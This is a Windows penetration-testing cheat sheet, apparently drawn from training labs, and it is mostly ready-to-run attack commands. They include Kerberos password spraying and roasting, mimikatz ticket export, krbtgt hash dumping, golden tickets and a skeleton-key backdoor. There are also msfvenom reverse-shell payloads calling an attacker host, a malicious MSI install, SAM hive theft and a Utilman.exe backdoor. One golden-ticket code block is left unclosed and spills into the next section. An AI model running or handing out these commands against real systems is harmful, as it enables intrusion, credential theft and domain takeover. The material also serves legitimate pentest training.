---
# System prepended metadata

title: CheatSheet Pentest Windows

---

# CheatSheet Pentest Windows


## CMD utils
### Download a file
```powershell
certutil.exe -urlcache -f http://<ip>:<port>/<file> <file>
wget http://<ip>:<port>/<file> -o <file>
```
### Search for installed softwares

```batch
wmic product get name,version,vendor
```
### Connect via RDP (linux)

Basic : `xfreerdp /v:HOSTNAME_OR_IP_ADDRESS /u:USERNAME /p:PASSWORD`

Domain specific : `xfreerdp /v:HOSTNAME_OR_IP_ADDRESS /u:USERNAME /p:PASSWORD /d:DOMAIN`

Activate clipboard : `xfreerdp /v:HOSTNAME_OR_IP_ADDRESS /u:USERNAME /p:PASSWORD /clipboard`

Specifiy size : `xfreerdp /v:HOSTNAME_OR_IP_ADDRESS /u:USERNAME /p:PASSWORD /clipboard /size:1920x1080`

Mount a drive : `xfreerdp /v:HOSTNAME_OR_IP_ADDRESS /u:USERNAME /p:PASSWORD /clipboard /size:1920x1080 /drive:/home/user/documents,Z:`

Specify langage input `/kbd:0x0000040C` : for French

## Reconnaissance

### NMAP (ports, services)

```bash
nmap -sC -sV <ip>
```

### enum4linux-nb (smb shares and infos)

```bash
enum4linux-ng -A <domain>
```

## Users enumeration / Password bruteforcing
### Kerbrute (users, passwords)


> You can generate a wordlist from Firstname and LastName with [`usergen`](https://github.com/bin3xish477/usergen) : 

```bash
usergen -n names.txt -d "$DOMAIN" > users.txt
```
___
- `userenum` : users enumeration
    ```bash
    kerbrute userenum -d "$DOMAIN" --dc "$DC" users.txt
    ```
- `bruteuser` : password bruteforcing
    ```bash
    kerbrute bruteuser -d "$DOMAIN" --dc "$DC" <password_wordlist> <user>
    ```

- `passwordspray` : testing same password on several users
    ```bash
    kerbrute passwordspray -d "$DOMAIN" users.txt <password> --dc $DC
    ```

### SID Bruteforce

```bash
lookupsid.py "$DOMAIN"/guest@"$DC" 
```

## Movement (unauthenticated)

### Kerberoasting

- `GetUserSPNs.py` : Queries target domain for SPNs that are running under a user account
    ```bash
    GetUserSPNs.py -outputfile Kerberoastables.txt -dc-ip "$DC_IP" "$DOMAIN"/"$USER"
    # cracking
    hashcat -m 13100 spns.hash <wordlist>
    ```

### ASREProasting
- `GetNPUsers.py` : Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking

    ```bash
    GetNPUsers.py -no-pass -usersfile users.txt "$DOMAIN/" -format hashcat -outputfile tgt.txt
    # Cracking
    hashcat -m 18200 tgt.txt <wordlist>
    ```


- `smbmap` : Enumerate smb shares ($ADMIN, SYSVOL, LOGONSERVER)
    ```bash
    smbmap -H $DOMAIN -u '' -p ''
    smbmap -H $DOMAIN -u 'guest' -p ''
    ```
    
## Movement (authenticated)
### LDAP domain dump

> Small tips if you want to use the NTLM hash instead of the password
```bash
echo -n '<password>' |iconv -f ASCII -t UTF-16LE |openssl dgst -md4
```

___
- `ldapdomaindump` : Domain information dumper via LDAP. Dumps users/computers/groups and OS/membership information to HTML/JSON/greppable output.
    ```bash
    ldapdomaindump --user "$DOMAIN"\\"$USER" --outdir ldapdomaindump "$DC"
    ```
    
- `SharpHound.exe` (need a shell with `evil-winrm`) : Collect data from domain controllers and domain-joined Windows systems to import in BloodHound.

- `bloodhound.py` (remote Sharpound) : 

    ```bash
    bloodhound.py -c All,LoggedOn -u "<user>" -p "<password>" -d $DOMAIN -ns "$DOMAIN_IP"
    ```

### Rubeus

https://github.com/GhostPack/Rubeus

Rubeus is a powerful tool for attacking Kerberos. Rubeus is an adaptation of the kekeo tool and developed by HarmJ0y the very well known active directory guru.

Rubeus has a wide variety of attacks and features that allow it to be a very versatile tool for attacking Kerberos. Just some of the many tools and attacks include overpass the hash, ticket requests and renewals, ticket management, ticket extraction, harvesting, pass the ticket, AS-REP Roasting, and Kerberoasting.

#### Harvesting Tickets w/ Rubeus
```powershell
Rubeus.exe harvest /interval:30
```
> This command tells Rubeus to harvest for TGTs every 30 seconds

#### Brute-Forcing / Password-Spraying w/ Rubeus

```powershell
echo <machine_ip> <domain.tld> >> C:\Windows\System32\drivers\etc\hosts
Rubeus.exe brute /password:Password1 /noticket
```
> This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user 

#### Kerberoasting w/ Rubeus

```powershell
Rubeus.exe kerberoast
```

#### Dumping KRBASREP5 Hashes w/ Rubeus

```powershell
Rubeus.exe asreproast
```
#### Pass the Ticket w/ Mimikatz

##### Prepare Mimikatz & Dump Tickets

```
.\mimikatz.exe

C:\Users\Administrator\Downloads>.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz #privilege::debug
Privilege '20' OK

mimikatz #sekurlsa::tickets /export
```

> This will export all of the .kirbi tickets into the directory that you are currently in

_When looking for which ticket to impersonate I would recommend looking for an administrator ticket from the krbtgt_

```
mimikatz #kerberos::ptt [0;735c7]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi

* File: '[0;735c7]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi': OK
```

>This command will cache and impersonate the given ticket

```
C:\Users\Administrator\Downloads>klist

Current LogonId is 0:0x735c7

Cached Tickets: (1)

#0>     Client: Administrator @ CONTROLLER.LOCAL
        Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 1/22/2023 12:03:32 (local)
        End Time:   1/22/2023 22:03:32 (local)
        Renew Time: 1/29/2023 12:03:32 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:
```
> You now have impersonated the ticket giving you the same rights as the TGT you're impersonating. To verify this we can look at the admin share.

#### Golden/Silver Ticket Attack
A golden ticket attack works by dumping the ticket-granting ticket of any user on the domain this would preferably be a domain admin however for a golden ticket you would dump the krbtgt ticket and for a silver ticket, you would dump any service or domain admin ticket. This will provide you with the service/domain admin account's SID or security identifier that is a unique identifier for each user account, as well as the NTLM hash. You then use these details inside of a mimikatz golden ticket attack in order to create a TGT that impersonates the given service account information.

##### Dump the krbtgt hash
```
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : 72cd714611b64cd4d5550cd2759db3f6
    LM   :
  Hash NTLM: 72cd714611b64cd4d5550cd2759db3f6
    ntlm- 0: 72cd714611b64cd4d5550cd2759db3f6
    lm  - 0: aec7e106ddd23b3928f7b530f60df4b6

```

> This will dump the hash as well as the security identifier needed to create a Golden Ticket. 
> To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.

Example :

```
mimikatz # Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:502
User      : Administrator
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-432953485-3795405108-1502158860
User Id   : 502
Groups Id : *513 512 520 518 519
ServiceKey: 72cd714611b64cd4d5550cd2759db3f6 - rc4_hmac_nt
Lifetime  : 1/22/2023 12:30:57 PM ; 1/19/2033 12:30:57 PM ; 1/19/2033 12:30:57 PM
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !
```

##### Use the Golden/Silver Ticket to access other machines

#### Kerberos Backdoors w/ mimikatz 

Along with maintaining access using golden and silver tickets mimikatz has one other trick up its sleeves when it comes to attacking Kerberos. Unlike the golden and silver ticket attacks a Kerberos backdoor is much more subtle because it acts similar to a rootkit by implanting itself into the memory of the domain forest allowing itself access to any of the machines with a master password. 

The Kerberos backdoor works by implanting a skeleton key that abuses the way that the AS-REQ validates encrypted timestamps. A skeleton key only works using Kerberos RC4 encryption. 

The default hash for a mimikatz skeleton key is `60BA4FCADC466C7A033C178194C03DF6` which makes the password  `mimikatz`

This will only be an overview section and will not require you to do anything on the machine however I encourage you to continue yourself and add other machines and test using skeleton keys with mimikatz.

##### Installing the Skeleton Key w/ mimikatz

```
mimikatz # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
```

##### Accessing the forest

```
net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
```


##### Create a Golden/Silver Ticket

```
mimikatz # Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:

### Check for saved creds

```batch
cmdkey /list

Target: Domain:interactive=WPRIVESC1\mike.katz
    Type: Domain Password
    User: WPRIVESC1\mike.katz
```

Use the saved creds :

```batch
runas /savecred /user:mike.katz cmd.exe
```

They can also be stored in a putty file :

```batch
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s


    ProxyUsername    REG_SZ    thom.smith
    ProxyPassword    REG_SZ    CoolPass2021
    ProxyTelnetCommand    REG_SZ    connect %host %port\n
    ProxyLogToTerm    REG_DWORD    0x1
```

### Powershell history

`%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`

### IIS Configuration


- `C:\inetpub\wwwroot\web.config`
- `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config`

## Privilege Escalation

### Potential exploits

[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) : Windows Privilege Escalation Awesome Scripts

[WES-ng](https://github.com/bitsadmin/wesng) : Windows Exploit Suggester - Next Generation


[PrivescCheck](https://github.com/itm4n/PrivescCheck)
```powershell
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck
```


### Scheduled tasks

List infos about a task

```batch
schtasks /query /tn vulntask /fo list /v

Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1
```

Read permissions to the task file and see if we can modify it :

```batch
icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)
```

### AlwaysInstallElevated

Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges.

This method requires two registry values to be set.

```batch
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

We can then generate a malicious `msi` file like this :

```batch
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f msi -o malicious.msi
```

And launch the installation :

```batch
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
```

### Windows Services

#### Insecure Permissions on Service Executable

```batch
sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1
```

We can see that the service installed by the vulnerable software runs as `svcuser1` and the executable associated with the service is in `C:\Progra~2\System~1\WService.exe.` 
We then proceed to check the permissions on the executable:

```batch
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
```

If the service executable can be overwriten, we can generate a false `exe` file to replace it : 

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
```

Replace the original file, and restart the service :

```batch
icacls WService.exe /grant Everyone:F
sc stop windowsscheduler
sc start windowsscheduler
```

#### Unquoted Service Paths

When working with Windows services, a very particular behaviour occurs when the service is configured to point to an "unquoted" executable. By unquoted, we mean that the path of the associated executable isn't properly quoted to account for spaces on the command.

Example of a quoted service :

```batch
sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

Example of an unquoted service :

```batch
sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2
```

When the SCM tries to execute the associated binary, a problem arises. Since there are spaces on the name of the "Disk Sorter Enterprise" folder, the command becomes ambiguous, and the SCM doesn't know which of the following you are trying to execute.

| Command	| Argument 1 | Argument 2 |
| -------- | -------- | --------| 
| `C:\MyPrograms\Disk.exe` | Sorter | `Enterprise\bin\disksrs.exe` | 
| `C:\MyPrograms\Disk Sorter.exe`	| `Enterprise\bin\disksrs.exe` | |  	
| `C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe` | | |

If the service-executable `C:\MyPrograms\Disk.exe` doesn't exist, we can create it and it will be executed by the service.

#### Insecure Service Permissions

You might still have a slight chance of taking advantage of a service if the service's executable DACL is well configured, and the service's binary path is rightly quoted. Should the service DACL (not the service's executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.

To check ACLs of a service, we can use [accesschk64](https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk).

```batch
accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS
```
We can see that the `BUILTIN\\Users` group has the `SERVICE_ALL_ACCESS` permission, which means any user can reconfigure the service.

To change the service's associated executable and account, we can use the following command (mind the spaces after the equal signs when using sc.exe):


```batch
sc config <service> binPath= "<bin_path>" obj= LocalSystem
```

### Abusing privileges

First we need to list our privileges

```batch
whoami /priv
```

#### `SeBackup / SeRestore`

The `SeBackup` and `SeRestore` privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

What can we do with that ? Extract `SYSTEM` and `SAM` hives in order to retrieves users hashes.

```batch
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
```

And then use `secretsdump.py`

#### `SeDebugPrivilege`

- `secretsdump` : Performs various techniques to dump secrets from the remote machine without executing any agent there.
    ```bash
    secretsdump "$DOMAIN"/"$USER"@"$DC"
    ```
    
#### `SeTakeOwnershipPrivilege`

```bash
takeown /f "<file>"
icacls "<file>" /grant <user>:F
```

A good manner to escalate with this is to use `Utilman.exe`, providing you have rdp access to the machine of course

```batch
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant <user>:F
C:\Windows\System32\> copy cmd.exe utilman.exe
```

Log-out and trigger the utilman.exe file by using options on logging page. A command prompt should pop.

#### `SeImpersonate / SeAssignPrimaryToken`

These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.

Impersonation is easily understood when you think about how an FTP server works. The FTP server must restrict users to only access the files they should be allowed to see.

So if we control a services that uses these token to launch processes, we can elevate our privilege by making it launch [RogueWinRM](https://github.com/antonioCoco/RogueWinRM).

